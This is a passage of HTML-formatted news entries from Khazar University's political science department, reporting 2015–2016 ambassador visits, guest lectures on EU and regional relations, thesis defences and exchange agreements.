Prevent it” was held at the Government House of Baku. The event was jointly coordinated by the Copyright Agency of the Azerbaijan Republic and the Ministry of Education. The roundtable covered the factors motivating plagiarism, current measures put in place to prevent it, and further possible solutions.Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, participated in the discussion and noted the significance of the event for the current situation. He also spoke about anti-plagiarism measures taken at Khazar University and the importance of ensuring academic integrity in our country in order to raise up a society of conscientious citizens.&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/859\">click here</a>.</p><p><br></p><p><strong>Guest Lecture on Multiculturalism in Azerbaijan</strong></p><p><strong></strong><strong>5&nbsp;April 2016</strong></p><p style=\"text-align:justify\"><strong></strong>On April 1, 2016, an event dedicated to the theme of multiculturalism in Azerbaijan was held at Khazar University with the joint coordination of Khazar University and the Knowledge Foundation under the President of the Azerbaijan Republic. The event was held within the framework of the national Multiculturalism Year, which was announced in 2016 by the President of the Azerbaijan Republic. It was opened by Dr. Hasan Niknafs, President of the University, who spoke about the importance of multiculturalism and said he appreciates the partnership between the Knowledge Foundation and Khazar University. Then Oktay Samadov, Executive Director of the Knowledge Foundation, made a presentation about the foundation and its activities to promote multiculturalism in Azerbaijan. Next Mohsun Nagisoylu, corresponding member of the Azerbaijan National Academy of Sciences as well as Director of the Linguistics Institute of ANAS, made a presentation of the book Literary Roots of Azerbaijani Multiculturalism, edited by Academic Kamal Abdullayev. Finally, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations, mentioned the importance of the event in light of the current tension in the region,&nbsp;and he thanked the Knowledge Foundation for their partnership.&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/885\" target=\"_blank\">click here</a>.&nbsp;</p><p><br></p><p><strong>Norwegian Ambassador Speaks at Khazar University</strong><strong></strong>&nbsp;</p><p><strong>1 April 2016</strong></p><p style=\"text-align:justify\">On April 1, 2016,&nbsp;the Department of Political Science and International Relations hosted H. E. Bård Ivar Svendsen, Norwegian Ambassador to Azerbaijan, to discuss Norway\'s participation in regional integration processes. Before his lecture, he met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees. He started his speech by providing historical background on the factors that shaped Norway\'s policies in the Nordic region. He then discussed relations between Norway and the European Union, which are defined through the agreement on the European Economic Area granting Norway, which is not a member state of the EU, access to the EU internal market. He also spoke about factors that have influenced Norway\'s unwillingness to become part of the EU, the Nordic-Baltic cooperation, the Arctic Council, and the Barents Cooperation.</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/869\">click here</a>.</p><p><strong><br></strong></p><p><strong>Khazar Faculty Member\'s International Title Registered by Government, Publicized on News Sites</strong></p><p><strong>29 March 2</strong><strong>016</strong></p><p style=\"text-align:justify\"><strong></strong>On March 29, 2016,&nbsp;Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, was awarded the world-recognized Jean Monnet Chair for his academic activity and professionalism in the educational field of European Union Integration which was registered by the Ministry of Justice of the Azerbaijan Republic on March 18, 2016 (with registration number 13/16/1112-A7-477/X/B1).&nbsp;</p><p><a href=\"http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-938011\"><strong>http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-938011</strong></a>&nbsp;</p><p><strong><a href=\"http://sia.az/az/news/social/535389\">http://sia.az/az/news/social/535389</a></strong></p><p><br></p><p><strong>Master Theses Defended</strong></p><p><strong><a href=\"http://sia.az/az/news/social/535389\"></a></strong><strong>15 March 2016</strong> &nbsp;</p><p style=\"text-align:justify\">On March 15, 2016, the following students of the Department of Political Science and International Relations defended their master theses: Khayala Mammadova on “Russian-Azerbaijani relations during and after Dmitri Medvedev’s term in office” (supervisor- Dr. Mukhtar Hajizade) and Aygun Gurbanova on “Azerbaijani-Turkmen bilateral relations: new trends and challenges” (supervisor- Dr. Rashad Huseynov). The chair of the committee was Dr. Kanan Allahverdiyev.&nbsp;</p><p><br></p><p><strong>Seminar on Dutch Policy on the Eastern Partnership</strong></p><p><strong>15 March 2016</strong></p><p style=\"text-align:justify\"><strong></strong>On March 15, 2016, the Department of Political Science and International Relations of Khazar University hosted Ambassador Dirk Jan Kop, Special Representative for Europe and Eastern Partnership at the Dutch Ministry of Foreign Affairs. He spoke about the cooperation between the EU and Azerbaijan in the framework of the Eastern Neighborhood Policy. He also let the audience know that the Dutch government welcomes the \"new readiness\" that he has observed in the country to take negotiations with the EU to a qualitatively new level. In the question and answer session, Amb. Kop answered questions concerning the Russia\'s stance with regards to the former Soviet republics, the promotion of the Eurasian Union, and peculiarities of EU Association Agreements with non-EU countries. During the lecture, participants also discussed cooperation between the EU and Azerbaijan in the field of agriculture as well as the state of value-based questions in post-Soviet countries.&nbsp;&nbsp;</p><p><br></p><p><strong>Palestinian Ambassador to Azerbaijan Speaks at Khazar</strong></p><p><strong>11 March 2016</strong>&nbsp;</p><p style=\"text-align:justify\">On March 11, 2016, the Department of Political Science and International Relations at Khazar University hosted H. E. Nasser Abdul Kareem, the Palestinian Ambassador to Azerbaijan, for a guest lecture about Palestine--European Union relations in the context of the European Neighborhood Policy. He spoke on the EU assistance to Palestinians, underlining the fact that the EU remains the largest provider of aid to Palestine to support its internally displaced people and the state structures. Mr. Kareem mentioned the EU-administered PEGASE program, which provides financial assistance to the Palestinian Authority, and the United Nations Relief and Works Agency for Palestine Refugees in the Near East (UNRWA), which provides services to Palestinians, who fled their homes following the 1948 conflict. Among other things, he informed the audience about the Interim Association Agreement on Trade and Cooperation that was signed between the EU and the Palestine Liberation Organization in 1997 with the aim of providing Palestinian industrial goods with duty-free access to the EU markets.&nbsp;&nbsp;</p><p><br></p><p><strong>US Ambassador Robert Cekuta Visits Khazar</strong></p><p><strong>4 March 2016</strong></p><p style=\"text-align:justify\"><strong></strong>On March 4, 2016,&nbsp;the Department of Political Science and International Relations&nbsp;hosted the U.S. Ambassador to Azerbaijan, Robert Cekuta, to discuss U.S.-Azerbaijan relations in the context of international integration processes. Ambassador Cekuta presented his opinion on the most important aspects of the U.S. relationship with Azerbaijan including the security, democracy, and economy/energy fronts. He emphasized the importance of security, rule of law, and&nbsp;democracy for Azerbaijan’s long term stability and prosperity. He expressed his sympathy for the 20 percent occupation of the Azerbaijani territories and conveyed his understanding of the security problems for Azerbaijan deriving from the occupation.&nbsp; Ambassador Cekuta also spoke about mutual interests, values, and goals in the US-Azerbaijan relations.&nbsp;&nbsp; In the subsequent&nbsp;question and answer session moderated by Dr. Mukhtar Hajizada, Department Chair,&nbsp;questions were asked&nbsp;on various aspects of the US foreign policy as well as the U.S. engagement in the international integration processes&nbsp;and regional cooperation in North America. The reasons for the Minsk Group\'s ineffectiveness in resoving&nbsp;the Armenian-Azerbaijani Nagorno Karabagh conflict, the role of the U.S. as a Minsk Group co-chair, U.S.-China relations, the U.S. reaction to the Russian engagement in Ukraine, Georgia and Moldova, the instability in Afghanistan and Iraq, and&nbsp;the U.S. reaction to the Turkish policy in the Middle East were topics of interest in the&nbsp;questions asked by the student body of the Department of Political Science and International Relations. Before the event, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, received the Ambassador&nbsp;Robert Cekuta as well as Public Affairs Officer Stephen Guice and Education Specialist at the Embassy Ramina Murshudova. Professor Isaxanli informed the Ambassador about Khazar University\'s history of relationships&nbsp;with American institutions. He also presented two books to the ambassador – one discussing the establishment process of Khazar University and one on Azerbaijani language for foreigners at the beginning level.</p><p><br></p><p><strong>Comprehensive Postgraduate Research Workshop</strong></p><p><strong>1-2&nbsp;March 2016</strong><strong></strong>&nbsp;</p><p style=\"text-align:justify\">On March 1-2, 2016,&nbsp;the Department of Political Science and International Relations organized a postgraduate workshop for Master and PhD students at Khazar University. The workshop was specifically designed to help young scholars to develop their research skills and to assist them in the writing process. The event also aimed to bring together current postgraduate students both at the MA and PhD levels and to facilitate the exchange of opinions and knowledge among them. The workshop consisted of several sessions, each focusing on a particular stage of research, including research design, literature review, methods for data collection, and analysis. Particular attention was also paid to discussing major academic principles as well as academic integrity and avoiding plagiarism. During the final stage of the workshop, the students presented their research and obtained feedback pertaining to the writing-up of their master’s theses and doctoral dissertations.&nbsp;</p><p><br></p><p><strong>Department Chair Makes Presentation at “Azerbaijan-European Union Relations: Challenges and Opportunities” Discussions in Brussels</strong></p><p><strong>11 February 2016</strong><strong></strong> &nbsp;</p><p style=\"text-align:justify\">On February 11, 2016,&nbsp;a series of discussions on “Azerbaijan-European Union Relations: Challenges and Opportunities” were held in Brussels at European Policy Centre, a well-known European think tank. Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, made a presentation at the event noting that Azerbaijan has become a major player in European cultural life in recent years through hosting large-scale events. He also mentioned that Europe has applied a double standard to Azerbaijan which has increased the difficulties existing in bilateral relations. Information about the event was published by AZERTAC and other media portals.&nbsp;</p><p>Please <a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=90043\">click here</a>&nbsp;for the full article.<strong></strong></p><p><br></p><p><strong>Department Head Analyzes EU-Azerbaijan relations at International Conference in Brussels</strong></p><p><strong><a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=90043\"></a></strong><strong>8&nbsp;February 2016</strong><strong></strong>&nbsp;</p><p style=\"text-align:justify\">On February 8, 2016,&nbsp;a conference on “Azerbaijan-EU relations: Challenges and opportunities” was held at the European Policy Centre in Brussels, Belgium. The event took place ahead of the visit of Federica Mogherini, the High Representative of the European Union for Foreign Affairs and Security Policy and Vice-President of the European Commission, to Azerbaijan. Dr. Mukhtar Hajizada, Jean Monnet Chair and the Head of Department of Political Science and International Relations at Khazar University, participated in the event. He made a presentation in which he mentioned the reasons placing Azerbaijan on the political, cultural and legal map of Europe and emphasized the role of the cultural and social activities carried by the Azerbaijani government in that regard. He highlighted the opportunities offered by the revised European Neighbourhood Policy which allows the EU and its partners to cooperate on areas of common interest –areas both sides feel comfortable dealing with, including increased cooperation in the sectors of trade, projects, economic development and governance. Dr. Hajizada argued that the existing cooperation in the energy sector should not be taken for granted since the success of the European Union, an exemplary model of regional integration, became possible starting with cooperation in the energy sector following the end of the Second World War and the signing of peace agreements. He emphasized the necessity for the EU to step up its role in the Nagorno Karabagh peace process in trying to find a way to bring justice to the violations of international law and the grave breaches of international human rights law as a result of which hundreds of thousands of Azerbaijanis have suffered and continue suffering. Given the diverse representation of the audience, Dr. Hajizada suggested the establishment of EU Information and Resource Centers in Azerbaijan, which was welcomed by the EU and Azerbaijani officials. The panel, moderated by Amanda Paul, analyzed Azerbaijani-EU relations and the prospects of future cooperation following the review of the European Neighbourhood Policy. Among the speakers were Dirk Schuebel, Head of the Division for Bilateral Relations with the Eastern Partnership Countries at the European External Action Service, Svante Cornell, Director of the Central Asia-Caucasus Institute and Silk Road Studies Programme at Johns Hopkins University, and Michel Ivor, Director of The Caucasus Interface.</p><p><br></p><p><strong>Department Head Participates in Roundtable Discussion</strong></p><p><strong>18 February 2016 &nbsp;</strong>&nbsp;</p><p style=\"text-align:justify\">On February 18, 2016,&nbsp;Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, participated in a&nbsp;roundtable discussion dealing with questions of instability in the Middle East. The discussion was followed by&nbsp;a talk&nbsp;by&nbsp;Professor Elie Podeh from Hebrew University in Jerusalem who&nbsp;made a presentation on “Chaos and instability in the Middle East: The view from Jerusalem, Cairo, Riyadh and Washington”. Contributors to the roundtable discussion included scholars of&nbsp;the Middle Eastern studies, Political Science and International Relations from&nbsp;Baku State University and Azerbaijan University of Languages. The event took place at the Heydar Aliyev Centre of Baku State University.</p><p><br></p><p><strong>Send-off Meeting for Graduate Students Going to Leiden University</strong><strong></strong>&nbsp;</p><p><strong>13 January 2016</strong><strong></strong>&nbsp;</p><p style=\"text-align:justify\">On&nbsp; January&nbsp;13,&nbsp;2016, a send-off meeting with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was held for the graduate students of Khazar University going on an exchange program to Leiden University (Netherlands). The exchange will take place within the framework of the Curriculum Development and Capacity Building in EU Studies Project funded by Tempus the IV program. During the meeting, Prof. Isaxanli offered his words of encouragement and highlighted the benefits of student exchange programs available to the staff and students at Khazar University. Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations, reiterated the goals of this particular exchange program for the participating students and advised the students to fully benefit from the opportunities of their stay at their host university. PhD students Anar Rahimov and Azad Garibov as well as master student Ramal Quluzade spoke about their academic and personal goals in taking part in the exchange.</p><p><br></p><p><strong>Meeting with US Embassy Representatives</strong></p><p><strong>8 January 2016</strong>&nbsp;</p><p style=\"text-align:justify\">On January 8, 2016, Khazar University hosted a meeting with the staff members of the US embassy in Baku for the purpose of exploring cooperation opportunities. Cultural Affairs Officer Amy Petersen, Grants Manager Nigar Aliyeva, and Education Specialist Ramina Murshudova were met by President Hassan Niknafs, Vice President Mahammad Nuriyev and Mukhtar Hajizada, Head of the Department of Political Science and International Relations Department. During the meeting, the Embassy officers informed the members of Khazar University about the various programs currently available for Azerbaijani nationals. Presidet Niknafs informed the education specialists of the US embassy about Khazar University’s facilities for hosting international scholars and students.</p><p><br></p><p><strong>Round-table discussion on the Legal Status of the Caspian Sea and simulation of the Final Meeting of the Working Group for development of the Convention</strong></p><p><strong>22 December 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On December 22, 2015, the Department of Political Science and International Relations organized a simulation for students as a result of which a Draft Convention on the&nbsp;Legal Status of the Caspian Sea was agreed upon. The student body of the department simulated the Final Meeting of the Working Group&nbsp;for development of the&nbsp;Convention&nbsp;on the&nbsp;Legal Status of the Caspian Sea.&nbsp; &nbsp; The simulation preceded with a round-table which discussed various important aspects of the negotiations on the&nbsp;legal status of the Caspian Sea. Among the panelists were the head of the Department of Public International Law of Baku State University, Dr. Rustam Mammadov, the leading expert at the Center for Strategic Studies under the President of the Republic of Azerbaijan, Dr. Kamal Makili-Aliyev, and the Director of the Caspian Barrel Center for Oil Studies, Mr. Ilham Shaban. &nbsp; First, the President of Khazar University, Dr. Hassan Niknafs, welcomed the guests and highlighted the importance of the event for student learning. The floor was taken by Dr. Mammadov, who provided a historical overview of the struggles over the status of the Caspian Sea. He also spoke about various threats to security of the Caspian and its littoral states, emphasizing the threat posed by the unfolding events in Iraq and Syria. He mentioned that many problems, including those pertaining to the status of the Caspian Sea, arise in the international arena due to the inability of states to properly formulate their national interests. Dr. Makili Aliyev then spoke about the differences between the littoral Caspian states preventing them from coming to a final agreement on the legal status of the Caspian basin. He emphasized that all the problems arise from the fact that the Caspian water basin actually constitutes a lake, adding that definition of the international legal status of the Caspian water basin depends on its categorization by the littoral states as either a \"sea\" or a \"lake\". Mr. Ilham Shaban, in turn, mentioned that despite the years of negotiations amongst the littoral states, no achievement has been made for the final status of the Caspian basin. He then proceeded to speak about the main policies pursued by each littoral state with regards to the division of the Caspian water basin with a particular emphasis on the oil and gas fields.&nbsp;</p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Head of Khazar University’s Department of Political Science and International Relations as well as Jean Monnet Chair, emphasized that the international legal status of the Caspian Sea constitutes one of the most important issues for Azerbaijan\'s foreign policy. Therefore he stressed that the aim of Khazar University is to teach students not only about various events unfolding on the international arena, but also about the strategies and techniques pertaining to the implementation of Azerbaijan\'s foreign policy. He highlighted the importance of the simulation in looking at global problems from a local perspective as well as from the viewpoints of various regional stakeholders. <br>The roundtable was followed by a question-and-answer session, where the speakers answered numerous questions asked by the students. Questions were raised about misunderstandings between Azerbaijan and Iran as well as between Azerbaijan and Turkmenistan with regards to respective littoral states\' policies in the fields, legal problems that may be caused by the creation of fishery zones in the Caspian basin, Russia\'s possible influence on decision-making in post-Soviet littoral states, offers proposed by Azerbaijan with regards to the division of the Caspian basin, and means to encourage non-oil sectors of Azerbaijan\'s economy. <br>The Q&amp;A session was followed by a brief video, demonstrating the two-month preparations for the simulation within the course on the Foreign Policy of Azerbaijan instructed by Mahammad Muradov. After negotiations which lasted for four hours, and thorough discussions on each article included in the document, the Draft Convention on the on the&nbsp;Legal Status of the Caspian Sea was finally agreed upon.&nbsp;</p><p><br></p><p><strong>Khazar University and Kadir Has University Sign Partnership Agreement</strong><strong></strong>&nbsp;</p><p><strong>14 December 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On December 14, 2015,&nbsp;Khazar University and Kadir Has University in Istanbul have entered into an inter-institutional agreement to cooperate for the exchange of students and staff. The agreement was signed between Hassan Niknafs, the President of Khazar University, and Mustafa Aydin, Rector of Kadir Has University, in the context of the Erasmus+ Programme Key Action 1. The duration of the student mobility will be up to twelve months and will apply to the students of the Department of Political Science and International Relations.&nbsp;</p><p><br></p><p><strong>Finnish Ambassador Visits Khazar University</strong></p><p><strong>10 December 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On December 10, 2015, Mr. Christer Michelsson, Ambassador Extraordinary and Plenipotentiary of Finland to Azerbaijan, paid a courtesy visit to Khazar University. The Ambassador met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees; Dr. Hassan Niknafs, President of Khazar University; and Dr. Mukhtar Hajizada, the Head of the Department of Political Science and International Relations. The participants of the meeting had a conversation in which news and ideas were exchanged. The Ambassador was also informed about the achievements of Khazar University and its vision to play an important role in contributing to the research and technological development in the country.&nbsp;</p><p><br></p><p><strong>Khazar Students Complete Internships at Red Crescent</strong></p><p><strong>8 December 2015</strong> &nbsp;</p><p style=\"text-align:justify\">On December 8, 2015, an article was published on the nezermedia.az website about three Khazar University students (Sevinj Binnatova, Jamila Hasanova and Elkhan Kasimov) who completed a month-long internship at the Red Crescent Society of Azerbaijan.&nbsp;</p><p>Please <a href=\"http://nezermedia.az/cemiyyet/7133-telebelerin-tecrube-mubadilesi-basha-chatdi.html\">click here</a> for the full article<strong></strong></p><p><br></p><p><strong>Department Head Delivers Keynote Speech at International Conference in Tallinn</strong></p><p><strong>3 December 2015 &nbsp;</strong>&nbsp;</p><p style=\"text-align:justify\">On December 3, 2015,&nbsp;an&nbsp;international conference on the Eastern Partnership was held&nbsp;in Tallinn, Estonia with the joint coordination of&nbsp;the&nbsp;Estonian Center for Eastern Partnership, Estonian Foreign Policy Institute, International Centre for Defence and Security and the European Commission Representation in Estonia. The conference was&nbsp;organized in the wake of the review of the European Neighbourhood Policy revealed on the 18th of November 2015.&nbsp; Dr. Mukhtar Hajizada, Head of the Khazar University&nbsp;Department of Political Science and International Relations as well as Jean Monnet Chair, delivered a keynote speech at the conference.&nbsp;Along with the ambassadors of various countries, high level officials, renowned scholars, and authoritative experts in the field, speakers included Mr. Taavi Roivas,&nbsp;the Estonian Prime Minister,&nbsp;and&nbsp;Mr. Lawrence Meredith,&nbsp;Director for the Neighborhood East at the European Commission.&nbsp;</p><p><br></p><p><strong>Jean Monnet seminar on Turkey and the two dimensions of the European Neighbourhood Policy</strong></p><p><strong>1 December 2015</strong></p><p style=\"text-align:justify\">On December 1, 2015, Assoc. Prof. Dr. Burcu Gültekin Punsmann, Senior Researcher at the Ankara Policy Center, was hosted within the Jean Monnet European seminar series of the Department of Political Science and International Relations. During her presentation, she focused on Turkey\'s role in the Mediterranean cooperation and, particularly, on how Turkey\'s EU candidacy affected the role of this country in the Euro-Mediterranean cooperation. She also discussed the impact of the slow-down of Turkey\'s accession process to the EU on democratization, and talked about the problems for the regionalization in the wider Black Sea area. Among the issues she touched upon during her lecture was also the Turkish-Armenian problems, and the impact of the EU\'s role in the wider region, the popularity of Erdogan and this factor\'s influence on Turkish relations with Maghreb countries and the Middle East. Dr. Gültekin Punsmann also briefly reflected on the different approaches demonstrated by some of the European countries and Turkey to the current refugee crisis. After offering her insights on the perspectives for the Black Sea Synergy and the BSEC, the students and the participants including Dr. Farda Asadov, Director of the Center for Eurasian and Middle Eastern Studies, and Dr. Mukhtar Hajizada, Head of the Department, proceeded to discuss in details the related topics.</p><p><br></p><p><strong>Rector&nbsp;Niknafs hosts the Estonian Charge d\'Affaires</strong></p><p><strong>25 &nbsp;November &nbsp;2015</strong>&nbsp;</p><p style=\"text-align:justify\">On November 25, 2015, Dr. Hassan Niknafs, the Rector of Khazar University, hosted Charge d\'Affaires Mr. Indrek Kiverik, the Head of the Office of the Embassy of Estonia in Baku. Charge d\'Affaires Mr. Indrek Kiverik informed the Rector about the progress Estonia has made as a country in the Information and Communications Technology sector. He informed the Rector about the particular role of information technology in the Estonian government and also gave some information about the existing cooperation between Estonia and Azerbaijan. Later, the participants discussed ideas for possible cooperation between Khazar University and Estonian universities in academic and student exchange as well as the opportunities offered by the Khazar University Technopark.&nbsp;</p><p><br></p><p><strong>College of Europe Representatives visit Khazar</strong></p><p><strong>24 &nbsp;November &nbsp;2015 &nbsp;</strong>&nbsp;</p><p style=\"text-align:justify\">On November 24, 2015, the Department of Political Science and International Relations of Khazar University&nbsp;hosted representatives from the College of Europe (Natolin campus). Pawel Michalski, Senior Academic Assistant at the College of Europe,&nbsp;informed students about various educational opportunities offered on the postgraduate level. Then, Ms. Judyta Fiedin of the College of Europe and Dr. Mukhtar Hajizada, Chair of the Department of Political Science and International Relations, discussed&nbsp;prospects for institutional cooperation between Khazar University and the College of Europe and talked about the E-Platform for the Neighborhood and its open source&nbsp;distance&nbsp;learning courses.&nbsp;</p><p><br></p><p><strong>Guest Lecture on the Role of Azerbaijan in European Energy Supply</strong></p><p><strong>23&nbsp;November&nbsp;2015</strong>&nbsp;</p><p style=\"text-align:justify\">On November 23, 2015, Mr. Ilham Shaban, the Director of the Caspian Barrel Center for Oil Studies, delivered a guest lecture for undergraduate students of the Department of Political Science and International Relations of Khazar University. His main focus was on Azerbaijan\'s place in the European energy strategy. He spoke about the main destinations for Azerbaijani oil and gas exports, both in Europe and elsewhere in the world. He also talked about the changing market conditions, changes in oil supply and demand and its impact on prices, peculiarities of commercial gas sales and \"the new oil strategy\" of Azerbaijan. Mr. Shaban shared with the students exclusive information about the volumes of oil and condensate production in Azerbaijan by the year 2020 obtained from the companies specializing in the energy sector. The lecture was followed by a question and answer session, where questions were raised about the delivery of gas to Nakhchivan according to the swap agreement with Iran, the diversification of oil and gas export routes, peculiarities of TAP and TANAP projects, and the influence of the interstate relations on their realization as well as their influence on regional cooperation including Turkey and Georgia.</p><p><br></p><p><strong>Khazar University Students and Staff Visit Baku International Sea Trade Port</strong><strong></strong>&nbsp;</p><p><strong>16 October 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On October 16, 2015, Khazar University students and staff took a study tour organized by the Department of Political Science and International Relations. The group visited the Baku International Sea Trade Port which is located in Alyat, 65 km south of Baku. Mr. Tural Aliyev, advisor to Director General of the port, met the group and made a presentation about the port which occupies 400 hectares of land. He familiarized the group with the design of the harbour, explaining the advantages of the location of the port and why Alyat was selected. He informed the group about the three phases of the construction plans and updated them on its current status. Questions were raised about various issues including the environmental consequences of the port, its present-day capacity to deliver and capability to cooperate with other ports in the wider region. The potential of the port in improving the transportation infrastructure in the wider region and increasing the international trade was also discussed. Despite the challenge of wet weather, Khazar University students and staff also had a chance to look at the construction area and enjoyed the opportunity to observe the loading and unloading process of vessels, namely the train vehicles rolling into ships at&nbsp;the&nbsp;marine terminal.</p><p><br></p><p><strong>Seminar on the Ukraine Crisis and the Security Situation in the South Caucasus</strong>&nbsp;</p><p><strong>5&nbsp;October 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On October 5, 2015, the Department of Political Science and International Relations hosted Dr. Pavel Baev, a research professor at the Peace Research Institute Oslo (PRIO), who delivered a lecture on the impact of the Ukraine crisis on the security situation in the South Caucasus. His main focus was on Russia\'s military involvement in Ukraine and Syria as well as its implications for the wider area. He emphasized the complexity of the present situation which is defined by a high level of uncertainty, where the usual frames of analysis and rationalization become problematic. He also touched upon the dominant trends in Russia\'s foreign policy, representations given to the public with the aim of justifying Russian military involvement in Ukraine, implications of the worsening economic situation on Russia\'s decision-making policies as well as threats of destabilization in the Northern Caucasus engendered by authorities\' neglect to the region. During the Q&amp;A session, which was moderated by Department Chair Dr. Mukhtar Hajizada, Dr. Baev answered questions about the prospects for establishment of peace in Ukraine, Russia\'s motivations for the recent deployment of air strikes in Syria, possible impact of Russia\'s involvement in the conflicts in the Caucasus region, the expansion of ISIS as well as the prospects for EU\'s continued support for the development of alternative energy resources. Following the seminar, Dr. Baev met with Prof. Hamlet Isakhanli, the Chairman of the Board of Directors and Trustees of Khazar University. They discussed the possibilities of academic collaboration between Khazar University and PRIO in the future.&nbsp;</p><p style=\"text-align:justify\"><br></p><p><strong>Department Head Gives Lecture in Ghent University on Sub-regional Cooperation in Europe</strong>&nbsp;</p><p><strong>13 July 2015</strong>&nbsp;</p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Jean Monnet Chair for European Integration as well as the Head of the Department of Political Science and International Relations at Khazar University, delivered a guest lecture at Ghent University. The lecture was organized by The Centre for EU Studies in the framework of Erasmus Mundus Academic Mobility.</p><p style=\"text-align:justify\">Dr. Hajizada presented in detail the regional cooperation in the wider Black Sea area and discussed the elements of integration which he defined as the ‘complex regionalization’ in the region. He posited the regional cooperation in the Black Sea region as a part of the integration process in Europe.<br>In the Q&amp;A session, which was moderated by Dr. Faienne Bossuyt at the Department of Political Sciences of Ghent University, Dr. Hajizada answered questions on how the Organization of the Black Sea Economic Cooperation could be improved, the role for the GUAM Organization for Democracy and Economic Development as a minilateral forum in the region, and the part played by the European Union in the integration process of the region. Dr. Hajizada also talked about the implications of the Judgement on 16 June 2015 by the Grand Chamber of the European Court of Human Rights in the case of Chiragov and Others vs. Armenia for the peaceful settlement of the Nagorno Karabagh conflict.</p><p><br></p><p><strong>Jean Monnet seminar on Regional Security Challenges in the Eastern European&nbsp;</strong><strong>Neighborhood</strong>&nbsp;</p><p><strong>8 June 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On&nbsp;&nbsp;June 8,&nbsp;2015, the Department of Political Science and International Relations hosted Dr Carol Weaver, a lecturer in international relations and regional security at De Montfort University in the United Kingdom. Dr Weaver delivered a presentation on Regional Security Challenges in the Eastern European Neighbourhood. She also discussed her research on the Black Sea region, arguing that the current events there demonstrate balanced multi-polarity in action. Dr Weaver reflected upon the fourth Eastern Partnership summit in Riga which took place on 21-22 May 2015. The outcomes of the summit were that no partner was given a membership perspective; that differentiation would apply to the various partners so that each country can decide on how they want to proceed in their relations with the European Union; and how the countries that do not want Association Agreements can cooperate bilaterally in all areas of mutual interest. Dr Weaver talked about how Azerbaijan is a strategically important partner to the European Union in the region. The presentation was followed by a lively discussion with contributions being made by the participants including the university leadership, senior academics and students as well as exchange students. Topics ranged from newer types of cross-border security challenges such as ecological problems, cyber threats, energy security and climate change, to the upcoming referendum on the United Kingdom’s membership of the European Union, recently announced after the conservative party won the general election.&nbsp;</p><p><br></p><p><strong>Workshop on Capacity Building in Conflict Prevention: Groups in Conflict – Conflict in Groups</strong></p><p><strong>30 May 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On May 30, 2015,&nbsp;Catholic University of Applied Science (KatHO), together with its partners, Humanitarian Research Public Union and Department of Political Science and International Relations at Khazar University, organized a workshop on the topic of “Groups in Conflict – Conflict in Groups” at 09:30-17:30&nbsp;at Neftchilar Campus. The event was intended to provide theoretical knowledge and practical skills on conflict management, leadership in intra and inter group conflicts. The event was offer training courses tailored by Prof. Dr. Georg Albers, from Catholic University of Applied Sciences in Munster Germany and sessions on planning follow-up activities. 25 senior-class Bachelor, Master, PhD students and young professionals from ADA University, Khazar University, Qafqaz University, Baku State University, The Academy of Public Administration under the President of Azerbaijan, and Azerbaijan State Economic University took part in the two-day intensive workshop which centered on the types of conflict, perception of group members to their conflicts with others and its impacts on the relationship between the members of the groups and its outcomes to the stakeholders. Especially, participants were informed about the successes and problems of the implementation of this, when they experience conflict in their groups, communities and society and vital steps to eliminate the negative outcomes in such situations. Furthermore, providing theoretical background and empirical case studies about the prevention and resolution of the conflict was at the heart of the discussions during the workshop. The local coordinator of the project is Bakhtiyar Aslanov, PhD Candidate at Khazar University and Chief of Peace and Conflict Research Department at the Humanitarian Research Public Union in Baku Azerbaijan. Speaking at the end of the workshop, Mr. Aslanov, expressed his grateful to the partners of the project as well as guests and participants for their supports and active, interesting participation and contribution to the workshop. Later, he emphasized that the second part of the project will be organized in Berlin Germany on 6 – 12 July 2015. The top eight (8) successful and competitive participants who attended in the workshop in Baku will be selected to attend in the second part of the workshop in Berlin, Germany in July 2015.<strong>&nbsp;</strong> Participants in the workshop emphasized the importance of broadening the scope of similar conflict management projects. Furthermore, they praised this workshop and mentioned that such events on this topic should be continued to educate students and young professionals in this field in the future.&nbsp; &nbsp;&nbsp;</p><p><br></p><p><strong>Ambassador of France Visits Khazar</strong>&nbsp;</p><p><strong>30 April 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On April 30, 2015, the Department of Political Science and International Relations hosted H.E. Pascal Meunier, Ambassador Extraordinary and Plenipotentiary of France in Baku within the Jean Monnet European Seminar Series. The event was dedicated to Jean Monnet, who is widely called “The Father of Europe” by those who see him as the architect of the European Union. Ambassador Meunier mentioned that Jean Monnet’s ideas and actions carry great clout not only in France, where he was an actor in economic life, but also far beyond French borders. Following the presentation, Dr. Mukhtar Hajizada, Jean Monnet Chair at Khazar University, conducted a discussion on Jean Monnet’s role in national economic planning in France, as an outstanding leader in the postwar movement in Europe and as a craftsman of peace and economic prosperity on the old continent. After the meeting, Ambassador Meunier met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and talked about opportunities for future cooperation between the Embassy and University.&nbsp;</p><p><br></p><p><strong>Latest publication from the Department of Political Science and International Relations</strong>&nbsp;</p><p><strong>14 April 